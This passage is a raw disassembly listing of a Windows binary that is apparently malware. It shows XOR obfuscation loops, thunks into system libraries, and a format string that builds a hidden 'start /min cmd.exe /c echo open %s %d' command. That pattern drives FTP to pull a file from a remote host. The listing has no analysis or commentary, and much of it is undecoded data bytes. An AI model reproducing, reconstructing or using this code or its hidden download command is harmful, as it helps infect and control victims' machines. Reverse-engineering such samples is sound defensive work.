[esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435C5C: ; CODE XREF: sub_4356F0+539j mov eax, [esp+144h+var_12C] push eax loc_435C61: ; CODE XREF: sub_4356F0+4D2j nop call near ptr 2920000h loc_435C67: ; CODE XREF: sub_4356F0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4356F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435E00 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_435E1D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_435E13: ; CODE XREF: sub_435E00+1Bj cmp [eax+edx], cl jz short loc_435E21 inc eax cmp eax, esi jl short loc_435E13 loc_435E1D: ; CODE XREF: sub_435E00+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_435E21: ; CODE XREF: sub_435E00+16j pop esi mov al, 1 retn sub_435E00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_435E40: ; CODE XREF: ___:00401429j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h call near ptr 71AB2B66h nop mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_435EFC push ebx push ebp call eax add esp, 8 loc_435EFC: ; CODE XREF: ___:00435EF3j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_435F3E: ; CODE XREF: ___:00435FB7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_435FB9 loc_435F7E: ; CODE XREF: ___:00435F4Cj ; ___:00435F5Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_435FB0 loc_435FA3: ; CODE XREF: ___:00435FAEj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_435FA3 loc_435FB0: ; CODE XREF: ___:00435FA1j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_435F3E ; --------------------------------------------------------------------------- loc_435FB9: ; CODE XREF: ___:00435F7Cj mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4360A0: ; CODE XREF: ___:00401D61j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_436152 push ebx push ebp call eax add esp, 8 loc_436152: ; CODE XREF: ___:00436149j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436194: ; CODE XREF: ___:0043620Dj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_43620F loc_4361D4: ; CODE XREF: ___:004361A2j ; ___:004361B2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_436206 loc_4361F9: ; CODE XREF: ___:00436204j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4361F9 loc_436206: ; CODE XREF: ___:004361F7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_436194 ; --------------------------------------------------------------------------- loc_43620F: ; CODE XREF: ___:004361D2j mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_436300: ; CODE XREF: ___:00401FE1j mov eax, 200Ch call sub_436840 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call sub_5EE1E5 lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_436402 push ebx push ebp call eax add esp, 8 loc_436402: ; CODE XREF: ___:004363F9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436444: ; CODE XREF: ___:004364BDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4364BF loc_436484: ; CODE XREF: ___:00436452j ; ___:00436462j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4364B6 loc_4364A9: ; CODE XREF: ___:004364B4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4364A9 loc_4364B6: ; CODE XREF: ___:004364A7j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_436444 ; --------------------------------------------------------------------------- loc_4364BF: ; CODE XREF: ___:00436482j mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4365C0: ; CODE XREF: ___:00401910j push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43663D push ebx push ebp call eax add esp, 8 loc_43663D: ; CODE XREF: ___:00436634j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43667F: ; CODE XREF: ___:004366F8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4366FA loc_4366BF: ; CODE XREF: ___:0043668Dj ; ___:0043669Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4366F1 loc_4366E4: ; CODE XREF: ___:004366EFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4366E4 loc_4366F1: ; CODE XREF: ___:004366E2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43667F ; --------------------------------------------------------------------------- loc_4366FA: ; CODE XREF: ___:004366BDj mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4367C8 proc near ; CODE XREF: SEH_4034E0+5j ; SEH_4036D0+5j ... jmp near ptr 77C227FAh sub_4367C8 endp ; --------------------------------------------------------------------------- db 95h, 2 dup(0CCh) byte_4367D0 db 90h ; DATA XREF: ___:off_43E004o ; ___:0043E018o ... db 0E9h, 37h, 0F7h dd 3DE9777Fh, 0B3777E57h, 7F2BE6E9h ; --------------------------------------------------------------------------- ja short loc_43680A ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4367E2 proc near ; CODE XREF: ___:00406BE0p ; sub_406C00+11p ... jmp near ptr 77C29CDDh sub_4367E2 endp ; --------------------------------------------------------------------------- db 0C5h dd 8112A3E9h, 0E9902F77h, 7781146Ch, 14EBE990h db 81h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367FA proc near ; CODE XREF: sub_406C30+47p ; ___:00406CCAp ... nop jmp near ptr 77C29CC5h sub_4367FA endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0E1h, 0ACh dd 0C18B777Eh db 0C7h, 0 ; --------------------------------------------------------------------------- loc_43680A: ; CODE XREF: ___:004367E0j aam 0E1h inc ebx add dl, al add al, 0 loc_436811: ; DATA XREF: ___:off_43E1D4o push esi mov esi, ecx call sub_436BCC ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_436827 push esi call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx loc_436827: ; CODE XREF: ___:0043681Ej mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436832 proc near ; CODE XREF: sub_409580+4Dp ; ___:0040A99Dp jmp near ptr 77C226F6h sub_436832 endp ; --------------------------------------------------------------------------- db 0DCh dd 80974DE9h, 0CCCCAE77h ; =============== S U B R O U T I N E ======================================= sub_436840 proc near ; CODE XREF: sub_40A030+5p ; sub_40FF60+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_436860 loc_43684C: ; CODE XREF: sub_436840+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_43684C loc_436860: ; CODE XREF: sub_436840+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_436840 endp ; --------------------------------------------------------------------------- align 10h dd 810DEBE9h, 15E92D77h, 7B777E67h, 91F4E990h, 0E9907780h dd 778111C8h, 35F0E990h, 8DE97780h, 6F778110h, 7F5B6EE9h dd 3D831377h, 50E9F4h, 0FF0C75FFh, 90042474h, 7FE54BE8h dd 68C35977h, 50E9E4h, 50E9F468h, 2474FF00h, 310E80Ch dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h dd 0C348D8F7h, 7F593EE9h, 0E990F077h, 778008D8h, 8E9E990h db 80h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4368EA proc near ; CODE XREF: sub_4198C0+28p nop jmp near ptr 77C4FA10h sub_4368EA endp ; =============== S U B R O U T I N E ======================================= sub_4368F0 proc near ; CODE XREF: sub_41B820+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_436911 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_436961 ; --------------------------------------------------------------------------- loc_436911: ; CODE XREF: sub_4368F0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_43691F: ; CODE XREF: sub_4368F0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_43691F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_43694A cmp edx, [esp+4+arg_4] ja short loc_43694A jb short loc_436952 cmp eax, [esp+4+arg_0] jbe short loc_436952 loc_43694A: ; CODE XREF: sub_4368F0+4Aj ; sub_4368F0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_436952: ; CODE XREF: sub_4368F0+52j ; sub_4368F0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_436961: ; CODE XREF: sub_4368F0+1Fj pop ebx retn 10h sub_4368F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_436970 proc near ; CODE XREF: sub_41B820+30p ; sub_41B820+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_436992 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4369D3 ; --------------------------------------------------------------------------- loc_436992: ; CODE XREF: sub_436970+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4369A0: ; CODE XREF: sub_436970+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4369A0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4369CE cmp edx, [esp+8+arg_4] ja short loc_4369CE jb short loc_4369CF cmp eax, [esp+8+arg_0] jbe short loc_4369CF loc_4369CE: ; CODE XREF: sub_436970+4Ej ; sub_436970+54j dec esi loc_4369CF: ; CODE XREF: sub_436970+56j ; sub_436970+5Cj xor edx, edx mov eax, esi loc_4369D3: ; CODE XREF: sub_436970+20j pop esi pop ebx retn 10h sub_436970 endp ; --------------------------------------------------------------------------- dd 80A0D4E9h, 0E9909277h, 7780862Ch, 1477E990h, 0E9907781h dd 7780A486h, 0A805E990h, 0E9907780h, 7780AB78h, 0A99AE990h dd 0E9907780h, 7780AD33h, 8111D3E9h, 5FE9A677h, 0E87780B1h dd 84DCE990h, 0E9907780h, 7780A3F3h, 569DE990h, 36E9777Fh dd 5D777E5Bh, 3C0E990h, 0E9907780h, 778007C2h, 7E887FE9h dd 0EEE96C77h, 0DC77808Eh, 0AE20E990h, 0E9907780h, 7780398Bh dd 38B1E990h, 0B8E97780h, 67778126h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436A5C proc near ; CODE XREF: ___:0043168Cp nop jmp near ptr 77C3619Ch sub_436A5C endp ; --------------------------------------------------------------------------- dw 0DE9h dd 5A778003h, 0A143E990h, 936C7780h, 0B2A13AAFh, 2538AC54h dd 119882D8h, 0A16458h, 50000000h, 258964h, 83000000h dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh, 7FE8DBE8h dd 0D835977h, 50E9E4h, 0F40D83FFh, 0FF0050E9h, 8725E890h dd 0D8B777Eh, 50E8E8h, 0E1E80889h, 90777E86h, 0E8E40D8Bh dd 8890050h, 50FA1CA1h, 0A3008B00h, 50E9D8h, 12EE8h, 1D3900h dd 7500446Dh, 6C08680Ch, 0E8900043h, 77816B85h, 0FAE859h dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8E0A100h, 45890050h dd 94458D94h, 0DC35FF50h, 8D0050E8h, 8D509C45h, 8D509045h dd 9050A045h, 7E83C2E8h, 32086877h, 680044h, 0E8004430h dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 22D95B2h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 9FE85353h, 900246B0h dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0E8908875h, 778032CEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436BCC proc near ; CODE XREF: ___:00436814p jmp near ptr 77C21868h sub_436BCC endp ; --------------------------------------------------------------------------- db 50h, 0E9h, 7Ah dword_436BD4 dd 2777FE2h, 32BCE990h, 0CBE97780h, 11777FC1h, 8301E990h dd 78E9777Eh, 46778031h, 3000068h, 6800h, 25E80001h, 59000000h dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 7E8593E9h, 0E990D977h dd 777E85C3h, 0E75EE990h, 0E990777Fh, 777FF070h, 818206E9h dd 0E990A177h, 75C6973Bh, 9819E990h, 0E99075C6h, 75C5B3F2h dd 0C58844E9h, 0E9901B75h, 75C697E8h, 0B319E990h, 0E99075C4h dd 75C54BF8h, 0C60A56E9h, 85E90775h, 8875C4EEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436C60 proc near ; CODE XREF: sub_4192C0+17Ep nop jmp near ptr 76D6AC1Dh sub_436C60 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 23B9AFDh, 3B9C12E9h, 0E990B802h, 23B9D9Bh, 9382E990h dd 0E990023Ch, 23D937Ch, 9376E990h, 0E990023Eh, 23F9370h dd 936AE990h, 0E9900240h, 240ABECh, 0ADF0E990h, 0E9900240h dd 2419358h, 9655E990h, 7EE90241h, 0D4024197h, 9346E990h dd 0E9900242h, 2429754h, 933AE990h, 0E9900243h, 2439F1Eh dd 932EE990h, 0E9900244h, 244959Bh, 9322E990h, 0E9900245h dd 246931Ch, 0A366E990h, 4BE90246h, 0E0246AFh, 930AE990h dd 0E9900247h, 2479A38h, 479FF2E9h, 0E9909702h, 24892F8h dd 3B92F3E9h, 0E9902802h, 23A9B51h, 92E6E990h, 0E990023Ah dd 23992E0h, 9B70E990h, 0E9900238h, 23892D4h, 3792CFE9h dd 0E990FF02h, 2369963h, 36958DE9h, 0E9902802h, 23692BCh dd 359937E9h, 0E9901602h, 22D92B0h, 3592ABE9h, 0E990BD02h dd 2349D5Eh, 9D10E990h, 86E90234h, 0E7C4CA3h, 0A297E990h dd 0E9907C4Ch, 2349B1Ah, 996FE990h, 0E9900234h, 2349280h dd 3399CAE9h, 0E9905802h, 2339937h, 978DE990h, 0E9900233h dd 23396B4h, 9516E990h, 5DE90233h, 0C7023392h, 9F34E990h dd 0E9900232h, 2329D8Eh, 9B8EE990h, 0E9900232h, 2329855h dd 3297D4E9h, 0E9907602h, 2329238h, 9E88E990h, 0E9900231h dd 2319AF5h, 997EE990h, 0D7E90231h, 71023195h, 921AE990h dd 96E90231h, 0B802309Bh, 309899E9h, 30E95802h, 9F023098h dd 309203E9h, 0E990E802h, 22F9F27h, 2F9C5AE9h, 0E990E802h dd 22F987Fh, 91EAE990h, 0E990022Fh, 22E9E66h, 9CE2E990h dd 0E990022Eh, 22E99C5h, 2E9813E9h, 0E9900E02h, 22E91CCh dd 92F0E990h, 0E990022Dh, 1B73A5h, 48953EE9h, 0E9904602h dd 253A3BCh, 91AEE990h, 0A9E9024Eh, 0BD025391h, 91A2E990h dd 0E9900252h, 251919Ch, 9196E990h, 0E9900250h, 24F979Dh dd 953EE990h, 0E990024Fh, 24F9184h, 9C6FE990h, 81E9024Eh dd 0E8024E9Ah, 4E987BE9h, 0E9901102h, 248980Ch, 4D9CE5E9h dd 0E990E802h, 24D98AFh, 4D951EE9h, 55E91B02h, 46024D91h dd 914EE990h, 0E990024Ch, 24B9148h, 4AAD8FE9h, 0E9902802h dd 24AAA81h, 0A811E990h, 0E990024Ah, 24AA663h, 4A912BE9h dd 25E90E02h, 6F024991h, 60A22FE9h, 0E990A47Ch, 7167D059h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EE8 proc near ; CODE XREF: ___:0042C8F1p nop jmp near ptr 71AB4FD4h sub_436EE8 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 71687585h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436EF4 proc near ; CODE XREF: sub_42C8E1+1p jmp near ptr 71AB2BF4h sub_436EF4 endp ; --------------------------------------------------------------------------- db 0CAh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436EFA proc near ; CODE XREF: sub_42CC50+E5p ; sub_42DC70+4Fp jmp near ptr 71AB615Ah sub_436EFA endp ; --------------------------------------------------------------------------- db 0E6h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F00 proc near ; CODE XREF: sub_42D1A0+9Ap ; sub_42DD50+45p ... nop jmp near ptr 71AB428Ah sub_436F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F06 proc near ; CODE XREF: sub_42DFD0+53p ; sub_42DFD0+96p ... nop jmp near ptr 71AB9639h sub_436F06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F0C proc near nop jmp near ptr 71AC1028h sub_436F0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F12 proc near ; CODE XREF: sub_42CE80+71p ; sub_42DA60+50p nop jmp near ptr 71AB2DC0h sub_436F12 endp ; --------------------------------------------------------------------------- dd 67BCA3E9h db 71h, 0BBh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F1E proc near jmp near ptr 71AB88D3h sub_436F1E endp ; --------------------------------------------------------------------------- db 92h db 90h db 0E9h, 3Ch, 0BCh db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F2A proc near ; CODE XREF: sub_42D580+187p nop jmp near ptr 71AB951Eh sub_436F2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F30 proc near jmp near ptr 71AB3E00h sub_436F30 endp ; --------------------------------------------------------------------------- db 79h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F36 proc near ; CODE XREF: sub_42C810+B1p nop jmp near ptr 71AB2B66h sub_436F36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F3C proc near ; CODE XREF: ___:0042C93Fp ; sub_42D580+152p nop jmp near ptr 71AB3B91h sub_436F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F42 proc near nop jmp near ptr 71AB406Ah sub_436F42 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0DAh, 0D4h db 